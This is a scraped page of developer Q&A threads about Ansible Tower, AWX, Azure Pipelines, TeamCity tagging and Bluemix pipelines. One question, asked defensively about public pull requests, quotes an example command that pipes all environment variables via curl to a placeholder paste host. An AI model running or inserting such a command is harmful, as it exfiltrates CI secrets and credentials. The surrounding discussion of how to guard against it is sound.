Ansible tower cannot see playbook in drop down list - ansible

I am looking for a way to trigger a git pull or a refresh from source control within ansible tower. The situation is that I have added a playbook in source control, however I cannot see it within ansible tower.
Is there a way to trigger a refresh or a git pull ?
Thanks in advance.

I just realised that if the template job is executed, if you go back to the template it now shows any newly added playbook.
What it looks like is that when a template job is executed, it forces a git pull or a refresh behind the scenes.

In order to find an updated list of playbooks available to your project you need to refresh your project. This also happens when you run the template job which is why you kind of solved it while running the job.

Related

Automation Hub collections by AWX

On my AWX System I've configure collection in requirement.yml and all is fine.
Now, I need to insert another collection providing by Automation Hub. That's means the source is in another place. I've read this document Downloading a collection from Automation Hub but unfortunately it doesn't run. I've create an ansible.cfg in my role directory but perhaps it is not the right way.
By AWX is not possibly to configure it through WebUI like Ansible Tower.
As anyone any idea how to resolve this?
Where's define the ansible.cfg by AWX and is it possible to configure many?
Best regards,
H.

Run security checks before rurnning Azure Pipeline CI on public PR

I have a public repo. Random GitHub users are free to create pull requests, and this is great.
My CI pipeline is described in a normal file in the repo called pipelines.yml (we use Azure pipelines).
Unfortunately this means that a random GitHub user is able to steal all my secret environment variables by creating a PR where they edit the pipelines.yml and add a bash script line with something like:
export | curl -XPOST 'http://pastebin-bla/xxxx'
Or run arbitrary code, in general. Right?
How can I verify that a malicious PR doesn't change at least some critical files?
How can I verify that a malicious PR doesn't change at least some critical files?
I am afraid we could not limit the PR doesn't change at least some critical files.
As workaround, we could turn off automatic fork builds and instead use pull request comments as a way to manually building these contributions, which give you an opportunity to review the code before triggering a build.
You could check the document Consider manually triggering fork builds for some more details.

Ansible Tower variable for SCM commit ID/SHA

I'm using a source controlled project in Ansible Tower that plugs into github/azure devops.
I'm looking for (but can't find) a variable that represents the commit ID/SHA hash of the playbook.yml im running, so I can log it to a built VM im building with it and go back and audit it later.
$(Build.SourceVersion) will have the commit ID. Docs

Marking a commit/build for deploy

So we are currently just deploying master but are running into issues where we want to deploy the commit/build in which all our testing was ran on. This is normally a snapshop of master at 4:30pm. We run our build configuation for all tests automatically at 4:30pm (lets call this build config ALLTESTS), so we can control how this commit/build is marked in the ALLTESTS config.
We separate testing and deploy, so when a deploy is executed (either manually or automatically) it should only pick a branch/tag/commit/build that has been marked. Adding the tests to our deploy build config is not a viable solution.
Originally I had planned on using Git tags. A tag called deploy would be deleted and added to certain commits and then when the deployment is triggered that commit would be deployed.
The issue I ran into here is that there isnt an easy way to manually add git tags in a build step. Should I just write command-line build step that uses git commands remove the tag deploy from whatever commit has it and to add it to commit that is running?
Is there a better teamcity way to do this? I have successfully got teamcity tags to work via REST API but I am not sure if those fit the need either.
I suppose I could write powershell to parse the rest API to get the build id that was last successful in ALLTESTS and then feed that into the deploy somehow. How would I go about getting a build number and using that as the basis of deploy?
Should I just write command-line build step that uses git commands remove the tag deploy from whatever commit has it and to add it to commit that is running?
Quick answer is no. You can actually use something like this:
git tag -f deploy <commit-sha>
And have your tag updated to the given commit.
Cheers.

How can I configure the Bluemix Pipeline to either tag builds or create a work item (defect) according to the state of the build?

I have a Build & Deploy Pipeline in Bluemix, I would like to create a condition where, if the build fails, it will automatically assign a defect (i.e., work item in the "Track & Plan" page) to whoever delivered the very latest change (or just assign to the main owner of the App/Project), also, if the build is completed successfully, I would like to tag it.
Tagging is ok, that's general GIT knowledge, I just wanted to solve 2 Problems with that plan:
How do we trigger a specific subsequent Stage in the pipeline if the current build fails/passes?
How do I create a work item from the pipeline? Do I need to create a separate GIT repo and build some sort of API package that allows me to invoke a mechanism that creates the ticket?
I guess I'm going too maverick with this Pipeline, please share your thoughts.
As of right now you can not create a work item from the pipeline. That is a great feature improvement and I can take it back to the team.
For your question about triggering a stage if something passes or fails... The way it works now only the next stage will be triggered if the previous is successful. The pipeline is based on Jenkins and Jenkins doesn't allow you to trigger a specific job if a job passes or fails. You would want to detect the pass or fail in your stage and do your logic based on that.

Resources